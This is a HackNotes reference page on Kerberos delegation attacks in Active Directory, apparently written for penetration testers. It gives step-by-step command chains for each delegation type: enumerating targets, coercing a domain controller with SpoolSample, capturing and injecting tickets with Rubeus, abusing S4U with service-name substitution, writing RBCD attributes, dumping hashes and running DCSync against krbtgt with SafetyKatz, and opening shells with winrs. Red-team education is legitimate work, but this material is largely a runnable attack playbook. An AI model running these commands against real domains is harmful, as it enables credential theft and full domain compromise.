HackNotes

Appearance

Delegation Attacks ​

This section provides an overview of delegation attacks in Active Directory.

Kerberos Delegation ​

Kerberos delegation is a feature in Active Directory that allows a service to impersonate a user to access resources on behalf of that user. For example, when a user logs into a web application using their domain credentials, the application may need to retrieve data from a database while maintaining the user's identity. With Kerberos delegation, the web application can act as the user to request access to the database, enabling seamless authentication.

Types of Delegation ​

  1. Unconstrained Delegation: The service can impersonate any user to any service. This is a very dangerous privilege and should be avoided.
  2. Constrained Delegation: The service can impersonate a user only to specific services.
  3. Resource-Based Constrained Delegation: The resource owner specifies which services can impersonate users to access that resource.

Unconstrained Delegation ​

Unconstrained Delegation is the oldest and least secure form of delegation. If a computer has this enabled, attackers can force high-privilege hosts (like a domain controller) to authenticate to it and steal its credentials.

Finding targets ​

Find machines which have unconstrained delegation enabled:

powershell
Get-DomainComputer -Unconstrained
powershell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Force authentication ​

Use the PrinterBug (a well-known technique leveraging the MS-RPRN protocol) to force a domain controller to authenticate to a computer you control that has unconstrained delegation enabled. The tool SpoolSample can be used for this.

powershell
SpoolSample.exe \\dc01.example.local \\web.example.local

Capture the TGT ​

On the machine with unconstrained delegation, monitor the for incoming TGTs for the domain controller using Rubeus:

powershell
Rubeus.exe monitor /interval:5

When the DC authenticates, Rubeus will display a base64-encoded TGT for the DC’s machine account.

Pass the Ticket ​

You can then import the TGT into your current session to impersonate the domain controller:

powershell
Rubeus.exe ptt /ticket:<base64_ticket>

Perform a DCSync attack ​

To complete the attack, you can use Mimikatz to perform a DCSync attack and request the NTLM hash of the krbtgt account.

powershell
SafetyKatz.exe '"lsadump::dcsync /user:example\krbtgt"'

The krbtgt hash allows you to forge TGTs for any user in the domain, effectively giving you full control over the domain.

Constrained Delegation ​

Constrained delegation allows a service to impersonate a user only to specific services. This is a more secure option than unconstrained delegation, but it can still be exploited.

Constrained delegation uses the Service for User (S4U) Kerberos extension, which includes two components:

  • Service for User to Proxy (S4U2proxy): Allows a service to obtain a TGS to another service on behalf of a user.
  • Service for User to Self (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user.

To configure constrained delegation, the account requires the SeEnableDelegation privilege, which is typically granted to domain admins.

There are two ways to configure constrained delegation:

  • Kerberos only: Kerberos authentication is required for the service to delegate.
  • Protocol transition: Allows delegation regardless of the initial authentication method (e.g., NTLM or Kerberos).

To abuse constrained delegation with protocol transition, you need to compromisea user or computer account that is configured for Constrained Delegation. This requires the account’s UserAccountControl attribute to include the TRUSTED_TO_AUTH_FOR_DELEGATION flag. Once access to this account is obtained, you can impersonate any user to access services specified in the msDS-AllowedToDelegateTo attribute of the compromised account.

Additionally, Kerberos does not validate the SPN during delegation. The sname field in a ticket request is unencrypted and modifiable, allowing delegation to any service running under the same account, not just the one specified.

Finding targets ​

Find computers and users that are configured for constrained delegation:

powershell
Get-DomainComputer –TrustedToAuth
Get-DomainUser –TrustedToAuth
powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Abuse constrained delegation ​

Using the s4u module in Rubeus, you can impersonate a user to access a service that the compromised account is allowed to delegate to:

powershell
Rubeus.exe s4u /user:appsvc /rc4:<ntlm> /impersonateuser:administrator /msdsspn:CIFS/mssql.example.local /domain:example.local /ptt

Since the service name isn’t encrypted, you can substitute the specified service (e.g., CIFS) with another (e.g., HTTP) using the /altservice parameter:

powershell
Rubeus.exe s4u /user:appsvc /rc4:<ntlm> /impersonateuser:administrator /msdsspn:CIFS/mssql.example.local /altservice:HTTP /domain:example.local /ptt

By requesting TGS ticket for the HTTP service, you can use winrs (WinRM) to gain shell access on the target machine:

powershell
winrs -r:mssql.example.local cmd.exe

A DCSync attack can also be performed by requesting an alternate ticket for the LDAP service. By impersonating the domain administrator, it is possible to perform the DCSync attack against the domain:

powershell
Rubeus.exe s4u /user:appsvc /rc4:<ntlm> /impersonateuser:administrator /msdsspn:CIFS/mssql.example.local /altservice:LDAP /domain:example.local /ptt

Once the LDAP service ticket is injected in the current session, you can use Mimikatz to perform the DCSync attack.

Resource-Based Constrained Delegation ​

Resource-Based Constrained Delegation (RBCD) allows a service to impersonate a user to access resources on behalf of that user. The resource owner specifies which services can impersonate users to access that resource. Unlike traditional constrained delegation (where the delegating account specifies allowed targets), RBCD gives control to the resource owner, who configures trusted impersonators. This is arguably the most complex of the three delegation types, so the opportunities for abuse are not as straightforward.

How it works ​

RBCD uses the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a resource’s object (typically a computer). This attribute holds a security descriptor listing accounts allowed to delegate to the resource. A trusted account can then use the Service for User (S4U) protocol (S4U2proxy) to request a Ticket Granting Service (TGS) ticket on behalf of any user.

Here are two scenarios where RBCD can be abused:

  • Scenerio 1: Access to a computer / user account that is listed in a another computer accounts msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
  • Scenerio 2: GenericWrite access over another computer account in the domain.

Finding targets ​

Scenario 1: You’ve compromised a computer/user account and want to know if there are any computers in the domain where your account can impersonate other users (i.e., it’s listed in a computer’s msDS-AllowedToActOnBehalfOfOtherIdentity value).

Find computers that are configured for resource-based constrained delegation:

powershell
Get-DomainComputer | Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null }

Scenario 2: You’ve compromised a computer/user account and want to know if it has GenericWrite permissions over any computer object in the domain

Find computer objects where you have GenericWrite permissions over:

powershell
Find-InterestingDomainAcl | ?{$_.identityreferencename -match "currentuser"}

Abuse resource-based constrained delegation ​

Assume you control a machine account ATTACKER$ and have GenericWrite over a target TARGET$. You ca set ATTACKER$ as a trusted delegator:

powershell
Set-ADComputer -Identity TARGET$ -PrincipalsAllowedToDelegateToAccount ATTACKER$

Now using Mimikatz, extract the NTLM hash of the ATTACKER$ account:

powershell
SafetyKatz.exe '"sekurlsa::ekeys"'

Use Rubeus to impersonate an user to the target via the s4u module:

powershell
Rubeus.exe s4u /user:ATTACKER$ /rc4:<ntlm> /impersonateuser:administrator /msdsspn:http/TARGET$ /domain:example.local /ptt

By requesting a TGS ticket for the HTTP service, you can use winrs (WinRM) to gain shell access on the target machine:

powershell
winrs -r:TARGET$ cmd.exe

References ​

https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/